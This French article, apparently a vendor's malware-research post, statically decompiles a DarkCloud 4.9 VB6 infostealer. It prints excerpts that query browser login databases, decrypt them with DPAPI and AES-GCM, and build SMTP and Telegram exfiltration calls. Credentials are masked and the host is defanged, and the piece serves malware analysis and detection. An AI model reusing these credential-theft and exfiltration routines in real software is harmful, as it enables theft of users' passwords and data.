DarkCloud 4.9 décompilé avec VBReFormer Gen 2 (7.x)

Malware Research 26 min de lecture

Un exécutable Visual Basic 6 peut contenir une logique de vol de données, plusieurs transports d’exfiltration et une configuration lisible, tout en restant difficile à interpréter avec un simple extracteur de chaînes. Les valeurs intéressantes sont dispersées entre métadonnées VB, chaînes Unicode, arguments de procédures et appels au runtime.

Cette étude examine un échantillon s’identifiant comme DarkCloud 4.9 à partir de son binaire et du code reconstruit avec VBReFormer Gen 2, génération 7.x. L’objectif est celui d’un analyste de malware : comprendre les données recherchées, suivre leur préparation et établir quel transport d’exfiltration est configuré.

Le résultat dépasse une liste de chaînes : l’analyse distingue un transport SMTP activé de trois branches FTP, HTTP et Telegram désactivées dans ce build. Elle restitue également le serveur SMTP, les comptes, le mot de passe, le port, le paramètre SSL, le mode d’authentification et le répertoire de staging.

L’échantillon n’a jamais été exécuté. La décompilation, les vérifications YARA et l’extraction ont porté uniquement sur ses octets. Les conclusions sur les fonctionnalités décrivent donc le code et sa configuration statique, sans prétendre constituer une observation réseau ou une exécution réussie.

Pour suivre l’analyse, ouvrir la procédure de configuration dans la démonstration VBReFormer, Module7.proc_46CD10. Le formulaire Form1 est également consultable.

Cette étude accompagne l’annonce du support des exécutables VB5/VB6 dans Malva.RE. Elle rejoint deux fonctions déjà présentées sur ce site : la décompilation VBA et la détection de VBA Stomping pour les documents Office, et l’extraction de configuration pour les familles déjà prises en charge.

1. L’échantillon et le périmètre de l’étude

PropriétéObservation
SHA-256367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e
Taille471 040 octets, soit 460 Kio
FormatExécutable PE x86
Runtime importéMSVBVM60.DLL
Sections observées.text, .data, .rsrc
Compilation reconnue par VBReFormerCode natif
Marqueur interneAgent: DARKCLOUD V4.9
Exécution du programmeAucune

La version 4.9 provient d’une chaîne interne du programme. C’est un élément d’identification, pas une garantie d’authenticité de la version revendiquée.

L’import de MSVBVM60.DLL donne une première indication sur le runtime. Il ne constitue pas l’inventaire des API utilisées : les déclarations VB et les appels tardifs peuvent faire apparaître des opérations absentes d’une lecture limitée à la table d’imports PE.

Cette étude porte sur un échantillon VB6 natif. VBReFormer Gen 2 (7.x) permet également d’aborder des exécutables VB5/VB6 en P-code. Il reste nécessaire d’identifier la forme de compilation de chaque fichier : les conclusions établies sur ce programme natif ne décrivent pas automatiquement un autre échantillon.

2. Pourquoi décompiler le VB5/VB6 demande un traitement spécifique

VB5/VB6 classique, VBA et VB.NET partagent une partie de leur syntaxe, mais pas leur format d’exécution.

TechnologieMatière à analyser
VBAProjet embarqué, flux de macros et représentation compilée propre à Office
VB.NETAssemblage .NET, métadonnées CLR et code IL
VB5/VB6 natifPE x86, métadonnées VB, instructions machine et conventions du runtime
VB5/VB6 P-codeMétadonnées VB et instructions destinées à la machine virtuelle VB

Dans un programme VB6 natif, le désassemblage x86 doit être rapproché des structures du projet, des objets et des conventions du runtime pour reconstruire des procédures lisibles. Les chaînes BSTR, les valeurs VARIANT et les appels COM tardifs expliquent une part importante de la différence entre une suite d’instructions et une opération de haut niveau.

La signature historique VB5! est un indice de structure, pas une preuve que le programme a été compilé avec VB5 : elle peut aussi être rencontrée dans un exécutable VB6. L’analyste doit la rapprocher du format PE, des références au runtime et des autres informations du projet.

La sortie reste une reconstruction. Les noms locaux, les commentaires d’origine et certaines informations du projet ne sont pas récupérables comme s’ils avaient été stockés intégralement dans l’exécutable. Les noms proc_46CD10 ou g_471034 permettent de naviguer dans l’analyse ; ils ne doivent pas être présentés comme les noms originaux choisis par l’auteur.

3. YARA : un point d’entrée de hunting, puis une analyse dédiée

La règle Hunt_DarkCloud_Stealer_Variants a été publiée par Evelyne Diaz Araque chez Stairwell le 21 août 2025. Elle vise DarkCloud et des artefacts aux capacités similaires ; son objectif de hunting impose de corroborer un match par d’autres éléments du fichier. Règle et contexte publiés par Stairwell.

Elle comporte trois possibilités de correspondance : au moins six indicateurs du groupe $s* ; un marqueur du groupe $d* associé à au moins trois chaînes $t* ; ou au moins quatre indicateurs $c*.

Le test effectué avec YARA 4.1.1, sans modifier les chaînes, leurs qualificatifs ou la condition, donne :

GroupeIndicateurs présentsCondition associéeRésultat
$s*14 / 14Au moins 6Satisfaite
$d*0 / 6Au moins 1, avec $t*Non satisfaite
$t*0 / 6Au moins 3, avec $d*Non satisfaite
$c*0 / 6Au moins 4Non satisfaite

Les trois conditions sont alternatives : l’absence de correspondance dans les autres groupes n’annule pas le match obtenu avec les quatorze indicateurs $s*.

Les encodages comptent. Une chaîne présente en UTF-16LE n’est pas nécessairement reconnue par une recherche ascii. De même, fullword impose une limite de mot : élargir une règle en supprimant ses qualificatifs changerait sa portée. L’interprétation d’un match doit respecter ces distinctions.

Pour l’analyste, le match constitue un point de départ. Le marqueur de version, les références VB6, les routines de collecte et la procédure d’exfiltration apportent ensuite des éléments de corroboration indépendants du seul résultat YARA.

4. Ce que VBReFormer a reconstruit

L’export du projet comprend les fichiers suivants :

FichierRôle dans l’export
Project1.vbpDescription reconstruite du projet VB
Form1.frmFormulaire, propriétés et gestionnaires d’événements
Form1.frxRessources binaires associées au formulaire
Module1.basRoutines de collecte et de traitement d’identifiants
Module2.basInitialisation, staging, utilitaires et traitements cryptographiques
Module3.basCollecte et préparation de contacts
Module5.basRoutines de lecture de données de clients de messagerie
Module7.basRoutage de l’exfiltration et implémentations des transports
Fichiers d’accompagnement de l’exportAides à la lecture du projet reconstruit et signalement des éléments non restitués
EXPORT-NOTES.txtDiagnostics et informations non récupérées

Cela représente 11 fichiers, dont huit vues de code. Ces huit vues comprennent cinq modules applicatifs, un formulaire et deux modules d’aide générés : il ne faut pas les confondre avec huit modules d’origine du malware.

L’intérêt de cet export est de rendre les routines consultables dans leur contexte : les événements du formulaire conduisent à l’initialisation, les modules de collecte préparent des fichiers et le module de transport reçoit les valeurs nécessaires à l’envoi.

Dans les extraits suivants, les procédures gardent les noms de l’export. Les coupes sont annoncées ; les identifiants sensibles sont masqués.

5. Du formulaire invisible à la collecte

5.1. Le point d’entrée du formulaire

Le fichier Form1.frm contient un formulaire dont les propriétés initiales incluent Visible = 0 et ShowInTaskbar = 0. La présence d’un formulaire VB n’implique donc pas une interface immédiatement visible.

Son événement de chargement conduit à l’initialisation :

Private Sub Form_Load()
    On Error Resume Next
    Module2.proc_45E960
End Sub

Extrait de Form1.frm, procédure Form_Load, sans modification.

La gestion d’erreur On Error Resume Next est conservée dans le code reconstruit. Son existence ne permet pas de conclure que les opérations suivantes aboutiront : elle peut aussi masquer leurs échecs.

Form1 dans VBReFormer Online : Form_Load et les cinq timers, source de Timer5_Timer

Form1 dans VBReFormer Online : l’arbre du projet expose Form_Load et les cinq timers ; la source montre Form_Load, qui lance l’initialisation, et Timer5_Timer, qui parcourt le staging par libellés. Capture non retouchée.

5.2. Un répertoire de staging dépendant de l’utilisateur

La procédure Module2.proc_45E960 construit ce chemin :

g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))

Ligne extraite de Module2.bas, procédure proc_45E960.

La représentation symbolique utile au rapport est :

%AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%

Pour documenter le comportement, il faut conserver ces variables sous forme symbolique. Le chemin concret dépend de l’utilisateur et de la machine sur lesquels le malware serait lancé. Le remplacer par le profil du poste d’analyse ferait perdre cette distinction.

L’initialisation recherche également winsqlite3.dll et prévoit une branche de repli faisant intervenir vbsqlite3.dll et une ressource de Picture2. Le chemin de staging reconstruit doit être distingué des chemins absolus de bibliothèque présents dans d’autres déclarations VB.

Enfin, deux appels visibles relient l’initialisation aux routines de collecte :

Module1.proc_4452A0
Module3.proc_468300

Deux lignes sélectionnées dans Module2.proc_45E960.

5.3. Identifiants de navigateurs : SQLite et primitives cryptographiques

Dans Module1.bas, les chaînes et les opérations reconstruites désignent notamment les bases Login Data et Web Data. La requête suivante explicite la cible d’une routine :

ErrStr = "SELECT origin_url, username_value, password_value FROM logins"

Ligne extraite de Module1.proc_44B7E0.

Le code contient aussi la lecture de Local State et des champs os_crypt / encrypted_key. D’autres routines font appel à CryptUnprotectData et aux API CNG, dont BCryptOpenAlgorithmProvider, BCryptSetProperty et BCryptDecrypt.

L’extrait ci-dessous montre les paramètres AES-GCM visibles à l’initialisation du traitement :

If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
    ' Suite de la procedure omise dans cet extrait.
End If

Extrait abrégé de Module2.proc_45DBF0 ; le commentaire de coupe est éditorial.

Ces observations établissent la présence de chemins de lecture et de déchiffrement dans le programme. Elles ne démontrent pas que l’échantillon pourrait récupérer tous les secrets de toutes les versions de navigateurs. DPAPI dépend généralement du contexte de protection, notamment de l’utilisateur et de la machine ; l’analyse du malware n’a pas consisté à déchiffrer des données de victimes. Documentation Microsoft de CryptUnprotectData.

5.4. Contacts et fichiers préparés pour l’envoi

Module3.proc_468300 appelle des routines de Module5 puis prépare des fichiers dont les préfixes indiquent notamment :

Une branche de collecte de contacts suit cette séquence :

g_471064 = Module5.proc_4696A0()

If g_471064 <> vbNullString Then
    ' Construction du chemin et ecriture du resultat omises.
    Module7.proc_46CD10 var_28, var_2C
    Sleep 1000
End If

Extrait abrégé de Module3.proc_468300. Les lignes intermédiaires ont été remplacées par un commentaire éditorial.

La procédure d’exfiltration reçoit ainsi un libellé et un chemin de fichier. La condition sur une chaîne non vide est importante : le code prépare l’envoi lorsqu’une routine de collecte a renvoyé un résultat.

5.5. Un timer organise aussi des recherches de fichiers

Form1.Timer5_Timer incrémente un compteur, puis appelle une routine avec les libellés Cookies, Contacts, Screenshot et KeyData avant de remettre le compteur à zéro.

Deux erreurs d’interprétation sont à éviter. Un seuil de 1000 événements n’est pas une période démontrée de 1000 ms. La livraison des événements dépend du fonctionnement des timers et de la boucle de messages ; Windows impose aussi des contraintes aux temporisations. Documentation Microsoft de SetTimer.

Ensuite, ces libellés ne suffisent pas à prouver que tous les mécanismes producteurs de fichiers fonctionnent dans ce build. Module2.proc_45E510 parcourt les noms présents dans le staging et appelle le dispatcher pour ceux qui correspondent au libellé recherché. C’est un mécanisme de sélection et d’envoi de fichiers, pas à lui seul la preuve d’un keylogger ou d’une capture d’écran opérationnels.

6. La configuration se lit dans le dispatcher d’exfiltration

La procédure centrale est Module7.proc_46CD10. Son code contient quatre branches, mais leurs conditions constantes déterminent lesquelles sont activées.

Le comportement se vérifie dans la vue publique de cette procédure de configuration.

Procédure Module7.proc_46CD10 dans VBReFormer Online : branche FTP désactivée et branche SMTP activée, identifiants masqués

Démonstration VBReFormer Online, Module7.proc_46CD10, lignes 15 à 30 : la branche FTP désactivée et ses marqueurs, puis la branche SMTP activée. Capture retouchée avant publication : les quatre variables dont le nom reprenait un identifiant sont renommées sValeurMasquee1 à sValeurMasquee4, leurs valeurs remplacées par <masqué>, l’hôte désarmé. Le reste de l’affichage est inchangé.

Le fragment suivant conserve la structure du dispatcher. Les variables SMTP dont les noms révèlent des identifiants ont été renommées ; les comptes, le serveur et le mot de passe ont été remplacés par des marqueurs de rédaction. Les paramètres var_38 et var_4C et les noms de procédures sont conservés.

If 0 = -1 Then
    sStrFtpPass = "@StrFtpPass"
    sStrFtpUser = "@StrFtpUser"
    sStrFtpServer = "@StrFtpServer"
    proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If

If -1 = -1 Then
    var_38 = 0
    var_4C = 587
    smtpPassword = "<MOT_DE_PASSE_MASQUE>"
    smtpUsername = "<COMPTE_SMTP_MASQUE>"
    smtpServer = "<HOTE_SMTP>"
    smtpRecipient = "<DESTINATAIRE_MASQUE>"
    proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If

If 0 = -1 Then
    sGateUrl = "@GateUrl"
    proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If

If 0 = -1 Then
    sChatID = "@ChatID"
    sStrBotToken = "@StrBotToken"
    proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If

En VB, les valeurs booléennes usuelles sont False = 0 et True = -1. Ici, les comparaisons ont un résultat constant : 0 = -1 est faux, tandis que -1 = -1 est vrai. Ces représentations sont cohérentes avec les conventions VARIANT_BOOL documentées par Microsoft. Types VARIANT et constantes associées.

TransportCondition du dispatcherÉtat pour ce buildValeurs observées
FTP0 = -1DésactivéMarqueurs du builder
SMTP-1 = -1ActivéParamètres renseignés
HTTP0 = -1Désactivé@GateUrl
Telegram0 = -1Désactivé@StrBotToken et @ChatID

La structure et les marqueurs sont compatibles avec un agent issu d’un builder proposant plusieurs modes de sortie. C’est une inférence à partir du code : elle n’exige ni l’accès au builder ni l’hypothèse que tous ces modes soient utilisés simultanément.

7. SMTP : ce que la source révèle et ce que le binaire complète

7.1. Propager les arguments jusqu’au traitement CDO

Le dispatcher passe huit arguments à proc_46DBA0. Leur utilisation dans la procédure associe les valeurs récupérées à leurs rôles : destinataire, serveur, compte expéditeur et d’authentification, mot de passe, sujet, fichier, port et paramètre SSL.

Quelques lignes de la procédure rendent l’intention lisible :

var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send

Lignes sélectionnées de Module7.proc_46DBA0 ; les instructions intermédiaires ne sont pas représentées.

Procédure Module7.proc_46DBA0 dans VBReFormer Online : configuration CDO et appels tardifs non reconstruits

Module7.proc_46DBA0 dans VBReFormer Online : configuration CDO, appels tardifs non reconstruits signalés en commentaire, sujet construit avec COMPUTERNAME et USERNAME. Les valeurs sensibles n’y apparaissent que sous forme d’arguments. Capture non retouchée.

Dans la branche activée de ce build, le mécanisme d’envoi utilise une configuration de messagerie. Le compte SMTP, l’expéditeur et le destinataire ont des rôles distincts, même si deux champs portent ici la même valeur. Les confondre dans une simple liste d’adresses ferait perdre le sens de la procédure.

7.2. Ne pas inventer un appel COM non reconstruit

Pour certains réglages CDO, l’export signale une limite :

' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1

Commentaire réellement présent dans Module7.proc_46DBA0.

Ce commentaire invite à revenir au désassemblage. L’analyste doit établir quel champ est renseigné et avec quel type de valeur avant de traduire cet appel en une affectation de haut niveau. La proximité d’un mot de passe, à elle seule, ne résout pas cette question.

Au voisinage de la référence à http://schemas.microsoft.com/cdo/configuration/smtpauthenticate, le désassemblage donne notamment :

0046e1b3  mov eax, 0x444670
0046e1b8  mov dword ptr [ebp - 0xdc], eax
0046e1be  mov ecx, 8
0046e1c3  mov dword ptr [ebp - 0xe4], ecx
0046e1c9  mov dword ptr [ebp - 0xfc], 1
0046e1d3  mov dword ptr [ebp - 0x104], 2

Instructions extraites du binaire de référence. Dans ce fichier, 0x444670 désigne la chaîne du champ CDO ; ces adresses ne sont pas des constantes universelles de DarkCloud.

Vue Assembleur de Module7.proc_46DBA0 dans VBReFormer Online : appel __vbaVarLateMemCallSt puis VARIANT de type 2 et valeur 1

Vue Assembleur de la même procédure dans VBReFormer Online : l’appel __vbaVarLateMemCallSt (ligne 432), puis la chaîne 0x444670 et le VARIANT de type 2, valeur 1 (lignes 433 à 438). Capture non retouchée.

La paire portant le type 2 et la valeur 1 correspond à un VARIANT numérique VT_I2 contenant 1. Le type 8 désigne quant à lui une BSTR. Cette lecture des types est appuyée par la documentation VARENUM.

Pour CDO, smtpauthenticate=1 correspond au mode cdoBasic. La valeur est retrouvée dans le binaire ; elle n’est pas déduite de la simple présence d’un mot de passe. Énumération Microsoft CdoProtocolsAuthentication.

Cette lecture relie trois observations du malware : une référence au nom du champ CDO, la préparation d’une chaîne de type BSTR et une valeur numérique passée à l’opération. Elle fournit une justification vérifiable au réglage d’authentification. Sur un autre fichier, les adresses et l’organisation des instructions devront être examinées à nouveau.

7.3. La configuration récupérée

ChampRésultat publié
TransportSMTP activé
Serveurmail[.]mokasco[.]com, forme désarmée
Port587
Compte SMTPPrésent en clair dans le fichier ; masqué ici
ExpéditeurMême valeur que le compte dans cette routine ; masquée
DestinatairePrésent en clair ; masqué
Mot de passePrésent en clair ; masqué
Paramètre SSLfalse
Authentification1, correspondant à cdoBasic

L’hôte est une valeur extraite du binaire, pas une affirmation sur son activité actuelle ou sur l’identité de l’auteur du malware. Un nom de domaine configuré ne permet pas d’attribuer l’opération à son propriétaire.

De même, UseSsl=false et le port 587 décrivent des paramètres statiques. Sans exécution ni capture réseau, nous n’avons observé ni négociation effective, ni authentification réussie, ni réception d’un message. L’article ne présente donc pas un échange réseau comme s’il avait été mesuré.

8. Les transports présents mais désactivés

Les autres procédures restent intéressantes pour comprendre le programme et rapprocher des variantes.

Procédure Module7.proc_46CD10 dans VBReFormer Online : branches HTTP et Telegram désactivées avec leurs marqueurs de builder

Même procédure, lignes 32 à 40 : les branches HTTP et Telegram, désactivées par 0 = -1, avec leurs marqueurs @GateUrl, @ChatID et @StrBotToken. Capture non retouchée.

Le chemin FTP utilise InternetOpenA et InternetConnectA avec le port 21, puis FtpPutFileA. Sa présence explique les marqueurs @StrFtpServer, @StrFtpUser et @StrFtpPass. Dans ce dispatcher, la branche est fausse et les paramètres sont restés des marqueurs.

Le chemin HTTP construit une URL à partir d’une passerelle et d’un paramètre ?id=, puis utilise des appels WinINet pour l’envoi. @GateUrl est un emplacement à remplacer, pas une URL opérationnelle.

La procédure Telegram contient une construction reconnaissable :

var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)

Ligne extraite de Module7.proc_46E5A0.

Procédure Module7.proc_46E5A0 dans VBReFormer Online : construction de l URL api.telegram.org

Module7.proc_46E5A0 dans VBReFormer Online : la route Telegram existe dans le code, mais le dispatcher ne l’appelle jamais dans ce build. Capture non retouchée.

Elle est associée à un envoi multipart. Toutefois, les valeurs @StrBotToken et @ChatID n’ont pas été remplacées dans la configuration étudiée, et l’appel du dispatcher est désactivé. L’existence de cette chaîne ne justifie donc pas de classer api.telegram.org comme l’infrastructure d’exfiltration active de cet échantillon.

La fin du dispatcher contient également :

If proc_46CD10 = -1 Then
    Kill arg_C
End If

Extrait de Module7.proc_46CD10.

Le code exprime une suppression du fichier passé en argument après un résultat positif du transport. Il ne démontre pas une auto-suppression de l’exécutable : arg_C correspond ici au fichier à transmettre.

9. Établir la configuration à partir du rôle des valeurs

Une recherche de chaînes peut retrouver un domaine, des adresses électroniques, un mot de passe et des marqueurs du builder. Le travail de reverse engineering consiste à relier ces valeurs à une branche et à une opération précises.

Dans ce cas, l’appel à Module7.proc_46DBA0 fournit une grille de lecture concrète :

Paramètre de la procédureRôle établi par son utilisation
arg_8Destinataire du message
arg_CServeur SMTP
arg_10Compte SMTP et valeur utilisée comme expéditeur
arg_14Mot de passe transmis à la configuration d’envoi
arg_18Libellé utilisé dans le sujet
arg_1CChemin du fichier à joindre
arg_20Port SMTP
arg_24Valeur du réglage SSL

Cette distinction explique pourquoi un compte d’authentification n’est pas forcément le destinataire des données. Elle permet aussi de séparer les paramètres fixes de ce build, comme le serveur et le port, des informations assemblées au moment de la collecte, comme le sujet et le chemin du fichier.

La configuration suivante est une synthèse d’analyse anonymisée, avec un hôte désarmé :

{
  "family": "DarkCloud",
  "declared_version": "4.9",
  "analysis": "static",
  "staging_directory": "%AppData%\\Microsoft\\Windows\\Templates\\%COMPUTERNAME%-%USERNAME%",
  "transports": {
    "smtp": {
      "enabled": true,
      "server_defanged": "mail[.]mokasco[.]com",
      "port": 587,
      "username": "<MASQUE>",
      "sender": "<MASQUE>",
      "recipient": "<MASQUE>",
      "password": "<MASQUE>",
      "use_ssl": false,
      "authentication": 1
    },
    "ftp": { "enabled": false },
    "http": { "enabled": false },
    "telegram": { "enabled": false }
  }
}

Il faut garder séparées les valeurs renseignées, les expressions dépendant de l’environnement, les marqueurs non remplacés et les éléments encore indéterminés. Une configuration de transport établie ne signifie pas que toute la logique du malware est connue.

10. Pourquoi le VB6 est particulièrement difficile à décompiler

10.1. Le runtime masque une partie du sens

Un désassemblage x86 montre des instructions, des adresses et des appels. Dans un programme VB6, une partie de leur signification dépend des conventions du runtime : conversion de types, construction de valeurs, manipulation d’objets, gestion des chaînes et appels de membres.

Le commentaire __vbaLateCallSt rencontré dans la procédure SMTP illustre ce problème. Le nom de la primitive du runtime ne révèle pas à lui seul qu’une propriété CDO configure une authentification. Il faut identifier l’objet visé, la propriété et les arguments.

Pour DarkCloud, cette difficulté a un effet direct sur l’analyse : une mauvaise lecture peut transformer un réglage d’envoi en valeur inconnue, ou attribuer à un paramètre le rôle de son voisin. Comprendre le runtime VB6 est donc nécessaire pour rendre compte des opérations de collecte et d’exfiltration.

10.2. Une adresse ne suffit pas à connaître le type d’une donnée

En x86, un entier, un pointeur, un handle et une référence vers une donnée peuvent occuper des emplacements de même taille. Leur interprétation dépend du contexte.

Le VB6 ajoute ses propres conventions. Une BSTR représente une chaîne avec une longueur associée ; un VARIANT porte un type et une valeur ; un tableau d’octets ne se lit pas comme une chaîne terminée par zéro. Une BSTR peut même contenir des caractères nuls internes : sa longueur doit être prise en compte. Les conversions CStr, StrConv ou les usages de VarPtr observés dans DarkCloud font circuler des données entre ces représentations. Documentation Microsoft du type BSTR.

Dans les routines cryptographiques, l’analyste doit ainsi distinguer la référence vers un tampon, sa taille et le résultat de l’opération. Dans le transport SMTP, il doit distinguer un booléen représenté par 0 ou -1 d’une valeur numérique comme le port 587 ou le mode d’authentification 1. Le désassemblage de la valeur VARIANT présenté plus haut montre pourquoi cette distinction est décisive.

10.3. Le point d’entrée PE n’est pas toute la logique du programme

Une lecture centrée sur le seul point d’entrée de l’exécutable ne décrit pas complètement un programme événementiel. Le chargement d’un formulaire et les événements de ses contrôles peuvent conduire à des procédures importantes.

Dans cet échantillon, Form_Load déclenche l’initialisation, alors que Timer5_Timer organise une sélection récurrente de fichiers. Les propriétés de Form1 indiquent par ailleurs un formulaire initialement invisible et absent de la barre des tâches.

Les objets et les ressources ne sont donc pas accessoires à l’analyse. La référence à Picture2 dans une branche de repli liée à SQLite justifie aussi l’examen des ressources du formulaire, même si aucun affichage graphique n’est nécessaire à la collecte.

10.4. Natif et P-code sont deux problèmes différents

Le terme « programme VB6 » ne suffit pas à choisir une méthode de lecture. Une compilation native conduit à des instructions x86 ; une compilation P-code appelle une lecture des instructions de la machine virtuelle VB. Microsoft décrit ce choix de compilation dans son rappel historique de Visual Basic 5 et 6.

Dans les deux cas, l’analyste cherche les mêmes réponses : quelles données sont visées, comment elles sont transformées et quelle destination est utilisée. Le chemin qui mène aux réponses diffère. C’est pourquoi une simple reconnaissance du runtime ne remplace pas l’identification de la forme de compilation et l’examen du code correspondant.

10.5. Une reconstruction lisible reste une pièce à interpréter

Les noms locaux d’origine et les commentaires ne réapparaissent pas automatiquement dans un exécutable. Des noms de travail sont nécessaires pour rendre le résultat navigable. Certaines expressions ou structures peuvent aussi rester incomplètes.

La bonne lecture consiste à partir d’une procédure, suivre ses appels, relever les arguments significatifs et revenir au binaire lorsqu’une conclusion importante n’est pas suffisamment étayée. Le réglage CDO de DarkCloud est un exemple de cette démarche : le texte reconstruit situe l’opération, et les instructions natives apportent un complément de preuve.

11. L’apport de VBReFormer Gen 2, versions 7.x

11.1. Retrouver le programme derrière les instructions

Pour ce type d’étude, l’usage de VBReFormer Gen 2 (7.x) est indispensable à la démarche présentée : il donne accès à une représentation du programme où les formulaires, les procédures et leurs appels peuvent être étudiés ensemble.

Dans DarkCloud, cela permet de passer de Form1 à Module2.proc_45E960, puis des routines de collecte à Module7.proc_46CD10. La question « où vont les données ? » se traite alors à partir d’une procédure identifiable, de ses conditions et de ses arguments.

L’apport est particulièrement visible dans le dispatcher : quatre transports apparaissent dans le fichier, mais la lecture des comparaisons constantes établit qu’un seul est activé pour ce build. La liste des chaînes aurait, à elle seule, conservé quatre hypothèses.

VBReFormer Online : arbre du projet reconstruit de DarkCloud et source de la procédure Module7.proc_46CD10, identifiants masqués

Vue d’ensemble de la démonstration : l’arbre du projet reconstruit, modules, procédures de Module7, ressources et structures, et la source de proc_46CD10. Capture retouchée : identifiants masqués comme ci-dessus.

11.2. Travailler sur des procédures et des objets reconnaissables

Pour le reverse engineer, l’apport de VBReFormer Gen 2 (7.x) se concrétise dans la consultation du code reconstruit, la navigation dans le projet, la lecture des formulaires et de leurs ressources, et la confrontation avec les vues de bas niveau.

Le cas DarkCloud donne plusieurs critères concrets pour juger cet apport :

Question d’analyseÉlément de code permettant d’y répondre
Quel événement lance l’initialisation ?Form1.Form_Load
Où les résultats sont-ils préparés ?Construction de g_471034 dans Module2
Quels types de données sont recherchés ?Requêtes SQLite, chemins de profils et routines de contacts
Quel transport est sélectionné ?Conditions de Module7.proc_46CD10
À quoi correspondent les comptes trouvés ?Utilisation des arguments dans la procédure SMTP
Que devient le fichier après un résultat positif ?Kill arg_C dans le dispatcher

Ces réponses rendent possible une analyse argumentée du malware. Elles permettent aussi de partager un constat avec un autre analyste en pointant vers une procédure et une instruction, plutôt que vers une interprétation sans contexte.

11.3. Comprendre la logique, pas seulement extraire des littéraux

La présence de api.telegram.org dans le fichier attire légitimement l’attention. Le code reconstruit montre toutefois des marqueurs non remplacés et une condition fausse pour cette branche. À l’inverse, les valeurs SMTP sont utilisées dans une branche vraie et transmises à une procédure d’envoi.

C’est à ce niveau que VBReFormer Gen 2 (7.x) apporte une valeur essentielle : rapprocher les données de la logique qui les utilise. Une clé, un compte, une URL ou un nom de fichier prennent leur sens par leur position dans le programme.

La portée de cette étude reste précise : les extraits démontrent une analyse d’un DarkCloud VB6 natif. Ils ne constituent pas une comparaison chiffrée avec les générations précédentes du logiciel, ni une garantie de restitution intégrale de tout exécutable VB5/VB6.

12. Ce que DarkCloud révèle au-delà de sa configuration

12.1. Un agent de collecte organisé autour de fichiers

Les routines de contacts et le sélecteur de fichiers conduisent tous deux vers Module7.proc_46CD10. Le transport reçoit un libellé et un chemin, tandis que la collecte prépare les données en amont.

Cette organisation explique la place du répertoire de staging. Elle permet de relier les noms de fichiers Contacts_Thunderbird_ ou les sélections Cookies et KeyData à une même fonction de sortie, sans confondre les routines qui produisent les données avec celles qui les transmettent.

Le libellé contribue aussi à la présentation du message. Dans une branche de la procédure SMTP, le sujet combine ce libellé, COMPUTERNAME, USERNAME et une valeur globale supplémentaire. Le code indique une volonté d’associer les résultats à leur environnement d’origine ; le rôle exact de la dernière valeur ne doit pas être inventé.

12.2. Trois questions cryptographiques à ne pas confondre

Les appels AES-GCM et DPAPI ne signifient pas que la configuration SMTP est chiffrée. Trois sujets différents apparaissent dans cette étude :

SujetObservation dans l’échantillon
Protection des secrets visésRoutines faisant intervenir les API de déchiffrement et les données de profils
Stockage des paramètres d’exfiltrationComptes et mot de passe SMTP présents en clair dans ce fichier
Protection du transport réseauParamètre SSL désactivé dans la configuration ; échange réel non observé

Une analyse qui conclurait « configuration chiffrée en AES » à partir de la seule présence de BCryptDecrypt manquerait donc le rôle de ces procédures. Il faut suivre les entrées et les sorties de chaque routine pour déterminer quelles données elles traitent.

12.3. Des choix de build conservés dans le binaire

Les quatre branches de transport et les marqueurs restants sont utiles pour comparer des échantillons. Un autre build pourrait renseigner le canal Telegram ou la passerelle HTTP, tout en conservant une grande partie du code de collecte.

Cette possibilité justifie de séparer les caractéristiques de famille et la configuration d’une instance. Le nom du transport rencontré dans un fichier, la présence de son code et son activation effective sont trois observations différentes.

Le serveur SMTP de ce cas est ainsi un indicateur propre à la configuration examinée. Il ne doit pas devenir une condition indispensable pour reconnaître toute la famille DarkCloud.

12.4. La suppression du fichier n’est pas un accusé de réception

Le dispatcher prévoit de supprimer arg_C lorsque le transport lui a renvoyé un résultat positif. Ce résultat exprime le chemin prévu par le programme ; il ne remplace pas l’observation d’une livraison effective à destination.

De même, la suppression du fichier à transmettre ne signifie pas l’effacement de l’exécutable ou de toutes les traces locales. L’objet concerné doit être identifié par le rôle du paramètre, pas seulement par la présence de l’instruction Kill.

12.5. Les limites de ce constat statique

Les éléments établis sont le marqueur de version, les routines présentes, les arguments du dispatcher et les paramètres de la branche SMTP. L’étude ne comporte ni connexion à l’infrastructure extraite, ni essai des identifiants, ni envoi de message.

Des fragments du code reconstruit restent incomplets. Une valeur ou une opération non restituée doit rester une question ouverte tant qu’elle n’a pas été résolue par des éléments vérifiables du fichier.

Enfin, les noms Screenshot et KeyData décrivent ici des catégories de fichiers recherchés par une routine. Pour conclure à une capture d’écran ou à un keylogger fonctionnels, il faudrait établir les procédures productrices, leurs conditions d’appel et leurs effets. Cette distinction évite d’attribuer au build toutes les fonctions évoquées par ses chaînes.

13. Points de recherche pour les analystes

L’intérêt de ce cas est la combinaison des indices et de leurs rôles.

ÉlémentUtilité et précaution
SHA-256 du fichierIdentifie exactement l’échantillon étudié
Agent: DARKCLOUD V4.9Marqueur interne corroborant l’analyse de famille
mail[.]mokasco[.]comHôte SMTP configuré ; aucune conclusion sur son statut actuel
Chemin Microsoft\Windows\Templates personnaliséIndice de staging à corréler à d’autres observations
vbsqlite3.dll et références SQLiteIndices de lecture de données ; pas une preuve de malveillance isolée
